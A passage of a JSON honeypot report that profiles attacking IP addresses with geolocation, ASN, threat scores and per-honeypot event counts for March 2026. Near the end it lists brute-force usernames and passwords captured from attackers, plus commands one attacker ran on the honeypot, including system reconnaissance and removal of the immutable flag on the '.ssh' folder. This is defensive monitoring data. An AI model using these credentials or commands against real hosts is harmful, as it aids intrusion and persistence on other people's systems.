        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 32,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.216": {
      "attack_count": 4,
      "first_seen": "2026-03-20T04:34:33.063Z",
      "last_seen": "2026-03-20T04:34:36.489Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T19:25:04+00:00",
        "last_seen_30d": "2026-03-31T11:06:23.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 24,
        "Cowrie": 4,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "219.157.183.59": {
      "attack_count": 4,
      "first_seen": "2026-03-08T11:35:09.356Z",
      "last_seen": "2026-03-08T11:35:34.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:35:09.356000+00:00",
        "last_seen_30d": "2026-03-08T11:36:44.486000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "3.144.44.57": {
      "attack_count": 4,
      "first_seen": "2026-03-16T02:20:09.827Z",
      "last_seen": "2026-03-16T02:20:10.050Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-16T02:20:09+00:00",
        "last_seen_30d": "2026-03-16T02:30:18.930000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 161,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "64.62.156.80": {
      "attack_count": 4,
      "first_seen": "2026-03-13T13:07:26.811Z",
      "last_seen": "2026-03-17T07:26:10.362Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 348,
        "days_active_30d": 30,
        "ports_targeted_30d": 97,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T13:10:38+00:00",
        "last_seen_30d": "2026-03-31T14:28:02.998000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 199,
        "Honeytrap": 101,
        "Miniprint": 18,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Dionaea": 5,
        "Cowrie": 4,
        "Adbhoney": 2,
        "CitrixHoneypot": 1,
        "ElasticPot": 1
      }
    },
    "64.62.197.225": {
      "attack_count": 4,
      "first_seen": "2026-03-09T09:59:37.218Z",
      "last_seen": "2026-03-09T09:59:41.220Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 24,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T12:09:06.249000+00:00",
        "last_seen_30d": "2026-03-26T15:10:42.970000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 2
      }
    },
    "66.132.224.80": {
      "attack_count": 4,
      "first_seen": "2026-03-28T03:50:16.123Z",
      "last_seen": "2026-03-28T03:50:31.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 7.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 9,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-23T12:40:50+00:00",
        "last_seen_30d": "2026-03-31T20:11:02.780000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Honeytrap": 3
      }
    },
    "71.6.199.65": {
      "attack_count": 4,
      "first_seen": "2026-03-17T16:37:05.744Z",
      "last_seen": "2026-03-17T16:37:15.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 73.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.8,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 25,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T06:24:28.838000+00:00",
        "last_seen_30d": "2026-03-26T09:54:39.116000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Redishoneypot": 24,
        "Honeytrap": 10,
        "Dionaea": 6,
        "Cowrie": 4,
        "ElasticPot": 2,
        "Tanner": 1
      }
    },
    "91.196.152.5": {
      "attack_count": 4,
      "first_seen": "2026-03-07T04:18:11.021Z",
      "last_seen": "2026-03-07T04:18:11.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T06:25:25.600000+00:00",
        "last_seen_30d": "2026-03-31T20:05:23.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 18,
        "Cowrie": 4
      }
    },
    "91.231.89.3": {
      "attack_count": 4,
      "first_seen": "2026-03-14T09:57:10.499Z",
      "last_seen": "2026-03-14T09:57:11.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T09:42:31+00:00",
        "last_seen_30d": "2026-03-31T10:34:36.046000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 45,
        "Cowrie": 4
      }
    },
    "104.152.52.106": {
      "attack_count": 3,
      "first_seen": "2026-03-09T06:56:22.810Z",
      "last_seen": "2026-03-09T06:56:22.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 55.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 21.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 26,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T00:38:01.228000+00:00",
        "last_seen_30d": "2026-03-27T06:39:30.979000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Dionaea": 4,
        "Cowrie": 3,
        "Ciscoasa": 2
      }
    },
    "46.224.3.20": {
      "attack_count": 3,
      "first_seen": "2026-03-20T14:38:10.416Z",
      "last_seen": "2026-03-20T14:39:11.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:38:10.416000+00:00",
        "last_seen_30d": "2026-03-20T14:40:12.880000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "101.71.37.77": {
      "attack_count": 2,
      "first_seen": "2026-03-12T02:59:31.723Z",
      "last_seen": "2026-03-12T02:59:44.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T02:59:31.723000+00:00",
        "last_seen_30d": "2026-03-12T03:00:48.739000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.180.170": {
      "attack_count": 2,
      "first_seen": "2026-03-05T17:39:08.357Z",
      "last_seen": "2026-03-05T17:39:20.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:39:08.357000+00:00",
        "last_seen_30d": "2026-03-05T17:40:30.355000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.97.214.234": {
      "attack_count": 2,
      "first_seen": "2026-03-20T00:02:22.186Z",
      "last_seen": "2026-03-20T00:02:34.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shaoguan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:02:22.186000+00:00",
        "last_seen_30d": "2026-03-20T00:03:40.234000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.229.182.63": {
      "attack_count": 2,
      "first_seen": "2026-03-04T10:54:21.052Z",
      "last_seen": "2026-03-04T10:54:52.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T10:54:21.052000+00:00",
        "last_seen_30d": "2026-03-04T10:55:59.664000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.21.74.72": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:55:11.427Z",
      "last_seen": "2026-03-14T22:55:25.926Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:55:11.427000+00:00",
        "last_seen_30d": "2026-03-14T22:56:28.053000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.241.194.159": {
      "attack_count": 2,
      "first_seen": "2026-03-18T16:12:03.555Z",
      "last_seen": "2026-03-18T16:12:18.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": null,
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T16:12:03.555000+00:00",
        "last_seen_30d": "2026-03-18T16:13:28.604000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.5.12.151": {
      "attack_count": 2,
      "first_seen": "2026-03-16T00:27:53.413Z",
      "last_seen": "2026-03-16T00:28:05.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:27:53.413000+00:00",
        "last_seen_30d": "2026-03-16T00:29:09.826000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "20.103.187.167": {
      "attack_count": 2,
      "first_seen": "2026-03-16T11:16:19.288Z",
      "last_seen": "2026-03-16T11:16:52.641Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T11:16:19.288000+00:00",
        "last_seen_30d": "2026-03-16T11:17:53.952000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.116.141": {
      "attack_count": 2,
      "first_seen": "2026-03-20T19:34:36.563Z",
      "last_seen": "2026-03-20T19:34:49.724Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:34:36.563000+00:00",
        "last_seen_30d": "2026-03-20T19:35:51.844000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.143.27": {
      "attack_count": 2,
      "first_seen": "2026-03-31T05:55:41.364Z",
      "last_seen": "2026-03-31T05:56:12.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T05:55:41.364000+00:00",
        "last_seen_30d": "2026-03-31T05:57:19.066000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "63.131.178.191": {
      "attack_count": 2,
      "first_seen": "2026-03-05T14:22:14.515Z",
      "last_seen": "2026-03-05T14:22:27.782Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tioga",
      "asn": 55105,
      "as_org": "NORTHWEST COMMUNICATIONS COOPERATIVE",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:22:14.515000+00:00",
        "last_seen_30d": "2026-03-05T14:23:30.838000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.132.110.217": {
      "attack_count": 2,
      "first_seen": "2026-03-16T06:47:04.205Z",
      "last_seen": "2026-03-16T06:47:17.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 200446,
      "as_org": "SELNET LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:47:04.205000+00:00",
        "last_seen_30d": "2026-03-16T06:48:23.539000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "88.28.52.183": {
      "attack_count": 2,
      "first_seen": "2026-03-29T11:08:34.232Z",
      "last_seen": "2026-03-29T11:08:47.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Cardedeu",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T11:08:34.232000+00:00",
        "last_seen_30d": "2026-03-29T11:09:50.967000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "92.97.227.74": {
      "attack_count": 2,
      "first_seen": "2026-03-30T01:54:33.116Z",
      "last_seen": "2026-03-30T01:54:45.434Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T01:54:33.116000+00:00",
        "last_seen_30d": "2026-03-30T01:55:54.240000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.90.185.17": {
      "attack_count": 1597,
      "first_seen": "2026-03-02T02:13:54.357Z",
      "last_seen": "2026-03-31T22:39:53.642Z",
      "sessions": 297,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "admin123",
        "sshd",
        "telecomadmin",
        "ubuntu",
        "hacluster"
      ],
      "passwords_attempted": [
        "admin",
        "!QAZ2wsx#EDC",
        "123456",
        "Admin123",
        "1qaz2wsx",
        "live",
        "admin123",
        "alpine",
        "adminpass",
        "88888888",
        "admintelecom",
        "ubuntu",
        "",
        "topo133",
        "hacluster"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2489,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:13:54.357000+00:00",
        "last_seen_30d": "2026-03-31T22:40:55.699000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1597,
        "Suricata": 892
      }
    },
    "34.142.110.144": {
      "attack_count": 845,
      "first_seen": "2026-03-04T09:35:09.489Z",
      "last_seen": "2026-03-31T04:28:22.024Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123qwe.",
        "!Qaz2wsx",
        "123@123Abc",
        "123asd",
        "123jiayou",
        "1q2w3e4r5t@123",
        "1qa@WS3ed",
        "202489",
        "202627",
        "@a1234567",
        "A123456789.",
        "AA123456+",
        "Aa!123456",
        "Berbidvps.ir",
        "Cz@123456",
        "Gf123456",
        "IdcOffer.com",
        "Lb123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
